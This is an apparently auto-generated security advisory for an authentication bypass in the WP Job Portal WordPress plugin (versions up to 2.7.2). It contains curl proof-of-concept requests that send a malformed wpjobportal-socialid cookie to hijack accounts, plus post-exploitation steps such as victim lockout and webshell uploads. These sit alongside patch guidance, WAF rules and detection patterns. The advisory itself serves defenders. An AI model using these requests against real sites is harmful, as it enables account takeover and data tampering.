CVE-2026-135641 — Wpjobportal WP Job Portal – AI-Powered Recruitme — CWE-269
The WP Job Portal – AI-Powered Recruitment System for Company or Job Board website plugin for WordPress is vulnerable to Authentication Bypass leading to Account Takeover in all versions up to, and including, 2.7.2 This is due to a flaw in `WPJOBPORTALuser::__construct()` where the non-empty guard on the `wpjobportal-socialid` cookie is evaluated against the raw cookie value before `sanitize_key()` is applied — allowing a value composed entirely of characters outside `[a-z0-9_-]` to pass the guard, be reduced to an empty string by `sanitize_key()`, and be used as the literal value in a `WHERE socialid = ''` database query that matches the first portal account whose `socialid` column is empty. This makes it possible for unauthenticated attackers to be bound to an existing WP Job Portal Employer or Jobseeker account, gaining the ability to create, edit, and delete the victim's companies, job listings, resumes, and applications, as well as overwrite the linked WordPress user's first name, last name, and display name via the `saveuser`→`syncWPUserName()` path. Exploitation is viable on virtually all installations because every portal account not registered through the social-login flow retains the default empty `socialid` value; nonce checks on downstream actions such as `savecompany` and `saveuser` do not mitigate this issue because those nonces are minted within the already-hijacked session and validate against the attacker's own subsequent requests. Successful exploitation gives the attacker control of a distinct, already-privileged WP Job Portal Employer / Jobseeker (bound to a specific WordPress user) account; it does not promote the attacker's original account.
The WP Job Portal – AI-Powered Recruitment System for Company or Job Board website plugin for WordPress is vulnerable to Authentication Bypass leading to Account Takeover in all versions up to, and including, 2.7.2 This is due to a flaw in `WPJOBPORTALuser::__construct()` where the non-empty guard on the `wpjobportal-socialid` cookie is evaluated against the raw cookie value before `sanitize_key()` is applied — allowing a value composed entirely of characters outside `[a-z0-9_-]` to pass the guard, be reduced to an empty string by `sanitize_key()`, and be used as the literal value in a `WHERE socialid = ''` database query that matches the first portal account whose `socialid` column is empty. This makes it possible for unauthenticated attackers to be bound to an existing WP Job Portal Employer or Jobseeker account, gaining the ability to create, edit, and delete the victim's companies, job listings, resumes, and applications, as well as overwrite the linked WordPress user's first name, last name, and display name via the `saveuser`→`syncWPUserName()` path. Exploitation is viable on virtually all installations because every portal account not registered through the social-login flow retains the default empty `socialid` value; nonce checks on downstream actions such as `savecompany` and `saveuser` do not mitigate this issue because those nonces are minted within the already-hijacked session and validate against the attacker's own subsequent requests. Successful exploitation gives the attacker control of a distinct, already-privileged WP Job Portal Employer / Jobseeker (bound to a specific WordPress user) account; it does not promote the attacker's original account.
CVE‑2026‑135641 – WP Job Portal – AI‑Powered Recruitment System for WordPress
Authentication Bypass → Account Take‑over
🎯 What is this vulnerability?
| Attribute | Detail |
|---|---|
| CWE | CWE‑269 – Improper Privilege Management (the code allows an unauthenticated user to obtain the privileges of an existing portal account). |
| CVSS 3.1 Vector | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N – Network‑reachable, low‑complexity, no privileges required, no user interaction, impacts confidentiality and integrity, no direct availability impact. |
| Root cause | In WPJOBPORTALuser::__construct() the plugin reads the cookie wpjobportal-socialid. The code first checks that the cookie value is non‑empty before sanitising it with sanitize_key(). sanitize_key() strips any character that is not [a-z0-9_-]. If the attacker supplies a cookie that consists only of characters outside that set (e.g., !@#$%^&*()), the pre‑sanitisation “non‑empty” guard passes, but after sanitisation the value becomes an empty string (''). The empty string is then used directly in the SQL statement:
$sql = $wpdb->prepare(
"SELECT * FROM {$wpdb->prefix}wpjobportal_users WHERE socialid = %s LIMIT 1",
$social_id // <-- $social_id is now ''
);All portal accounts that were not created via the social‑login flow have socialid = ''. The query therefore returns the first such row, and the constructor binds the current request to that user’s session. No further authentication checks (nonce, capability checks) are performed because the session is now considered “logged‑in”.
Consequences:
- An unauthenticated remote attacker can impersonate any employer or job‑seeker whose
socialidcolumn is empty – which is the default for virtually every account created through the native registration form. - The attacker inherits the full set of portal capabilities (create/edit/delete companies, jobs, resumes, applications) and can also modify the linked WordPress user profile (
first_name,last_name,display_name) via thesaveuser → syncWPUserName()routine. - Because nonces are generated after the session is hijacked, they validate correctly for the attacker’s subsequent requests, providing no mitigation.
⚡ Attack Chain
1. Discovery & Reconnaissance
| Step | Technique | What the attacker looks for |
|---|---|---|
| a. Identify the plugin | Passive web‑app fingerprinting (e.g., wp-content/plugins/wp-job-portal/ directory listing, readme.txt, meta generator tag, or wp‑job‑portal strings in the page source). | Presence of *WP Job Portal* plugin. |
| b. Determine version | Retrieve readme.txt or wp-job-portal.php header (Version: X.Y.Z). If the file is hidden, use WP‑CLI (wp plugin status wp-job-portal) via an already‑compromised admin account, or infer from the User‑Agent of the plugin’s AJAX calls. | Version ≤ 2.7.2 (the vulnerable range). |
| c. Verify vulnerable code path | Request a page that triggers WPJOBPORTALuser construction – any front‑end page that loads the portal (e.g., /jobs/, /employer-dashboard/). Observe that the server sets the cookie wpjobportal-socialid (it may be absent for first‑time visitors). | Confirmation that the cookie is read by the plugin. |
2. Exploitation
Note: The exact endpoint that instantiatesWPJOBPORTALuseris not disclosed in the CVE text. The PoC below uses a typical front‑end URL (/jobs/) that loads the class; replace with the real path in a target environment.
2.1 Craft the malicious cookie
The attacker needs a value that passes the “non‑empty” test but becomes empty after sanitize_key(). Any string consisting solely of characters outside [a-z0-9_-] works, e.g.:
!@#$%^&*()2.2 Send the request
# Bash + curl example (illustrative)
curl -i -s -k \
-H "Cookie: wpjobportal-socialid=!@#$%^&*()" \
"https://target.example.com/jobs/"1. $_COOKIE['wpjobportal-socialid'] = !@#$%^&*() → non‑empty → guard passes.
2. sanitize_key('!@#$%^&*()') → ''.
3. SQL query WHERE socialid = '' returns the first user with an empty socialid.
4. The plugin sets the PHP session ($_SESSION['wpjobportal_userid']) to that user’s ID, effectively logging the attacker in.
2.3 Verify hijack
After the request, the attacker can query a known authenticated‑only endpoint, for example the employer dashboard JSON API:
curl -i -s -k \
-H "Cookie: wpjobportal-socialid=!@#$%^&*()" \
"https://target.example.com/wp-admin/admin-ajax.php?action=wpjobportal_get_company_list"If the response contains the list of companies belonging to the victim, the takeover succeeded.
3. Post‑exploitation
| Goal | How it is achieved |
|---|---|
| a. Manipulate portal data | Use the normal portal AJAX actions (savecompany, savejob, saveresume, saveapplication) – the attacker now possesses a valid nonce (generated in the hijacked session) and can POST the usual form fields to create, edit, or delete resources. |
| b. Overwrite linked WP user profile | Call the saveuser endpoint with first_name, last_name, display_name parameters. The plugin’s syncWPUserName() routine writes those values into the WordPress wp_users table for the associated WP user ID. |
| c. Persistence | The attacker can set a new socialid value (e.g., a random string) via the plugin’s “social‑login linking” UI (if present) or by directly updating the wpjobportal_users.socialid column through a crafted request, thereby locking the victim out of the account. |
| d. Lateral movement | Because the compromised WP user may have additional capabilities (e.g., editor or administrator), the attacker can further abuse WordPress core (install plugins, edit themes, upload webshells). This depends on the original role mapping of the portal user. |
🌍 Real‑World Impact
| CIA Triad | Impact |
|---|---|
| Confidentiality (C:H) | The attacker can read all private employer data (company details, unpublished job posts, applicant resumes, contact information). |
| Integrity (I:H) | The attacker can modify or delete any portal object, inject malicious job listings, alter applicant data, and change the linked WordPress user’s name fields. |
| Availability (A:N) | No direct denial‑of‑service is introduced by the vulnerability itself, but the attacker could delete critical data, effectively causing loss of service. |
Practical consequences
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Affected versions | Fixed in |
|---|---|
| ≤ 2.7.2 (all releases up to and including 2.7.2) | 2.7.3 – the fix moves the sanitize_key() call before the non‑empty guard and adds a strict type/length check. |
Action: Immediately upgrade the plugin to 2.7.3 or later. Verify the version by checking the plugin header (Version:) after upgrade.
2. Workarounds (if patch cannot be applied immediately)
| Mitigation | Implementation details |
|---|---|
| a. Block the vulnerable cookie | Add a ModSecurity rule that rejects any request containing wpjobportal-socialid with characters outside the allowed set. Example: |
``apacheconf\nSecRule REQUEST_COOKIES:wpjobportal-socialid "@rx ^[a-z0-9_-]+$" "id:100001,phase:1,deny,status:400,msg:'Invalid wpjobportal-socialid cookie'"` | |
| b. Force sanitisation before the guard | If you can edit the plugin source, replace the constructor snippet with: |
`php\npublic function __construct() {\n $raw = isset($_COOKIE['wpjobportal-socialid']) ? $_COOKIE['wpjobportal-socialid'] : '';\n $social_id = sanitize_key($raw);\n if ( '' === $social_id ) {\n // No social login – treat as guest\n $this->user_id = 0;\n return;\n }\n // continue with authenticated lookup …\n}\n` | |
| c. Restrict access to the plugin’s AJAX endpoints | Configure the web server (or a WAF) to allow only authenticated WordPress users (via Cookie: wordpress_logged_in_*) to reach admin-ajax.php actions that start with wpjobportal_. Example Nginx snippet: |
`nginx\nlocation = /wp-admin/admin-ajax.php {\n if ($arg_action ~* ^wpjobportal_) {\n if ($http_cookie !~* \"wordpress_logged_in_\") {\n return 403;\n }\n }\n include fastcgi_params;\n fastcgi_pass php-fpm;\n}\n` | |
| d. Disable the social‑login feature | In the plugin settings, turn off “Social Login” (if the feature is not required). This removes the wpjobportal-socialid` cookie entirely. |
3. Detection – Log & IOC patterns
| Indicator | Example log line (Apache) |
|---|---|
Unexpected wpjobportal-socialid cookie with non‑alphanumeric characters | 127.0.0.1 - - [27/Nov/2026:12:34:56 +0000] "GET /jobs/ HTTP/1.1" 200 4523 "https://target.example.com/" "Mozilla/5.0" "Cookie: wpjobportal-socialid=!@#$%^&*()" |
| Session hijack – first request without cookie, second request with malicious cookie, followed by privileged actions | ... "POST /wp-admin/admin-ajax.php?action=wpjobportal_savecompany HTTP/1.1" 200 ... "Cookie: wpjobportal-socialid=!@#$%^&*()" |
| Nonce values generated after the malicious cookie | Look for wpnonce values that appear only after a request containing the malformed cookie. |
Database audit – multiple users with empty socialid | SELECT id, user_email FROM wpjobportal_users WHERE socialid = '' – a high count indicates many accounts are vulnerable. |
SIEM rule (generic) – trigger when a request to any admin-ajax.php action prefixed with wpjobportal_ contains a wpjobportal-socialid cookie whose value does not match ^[a-z0-9_-]+$.
⚠️ Urgency
Bottom line: The flaw is a classic “check‑then‑sanitize” mistake that lets an attacker turn an empty‑string
socialid query into an authentication bypass. Because the plugin treats the returned row as an authenticated session, the attacker gains full portal privileges without any further checks. Updating to 2.7.3 (or applying the mitigations above) eliminates the bypass by sanitising before the emptiness test and by refusing to authenticate when the resulting key is empty.[🤖 CVE Professor AI Security Engine]
FOFA Query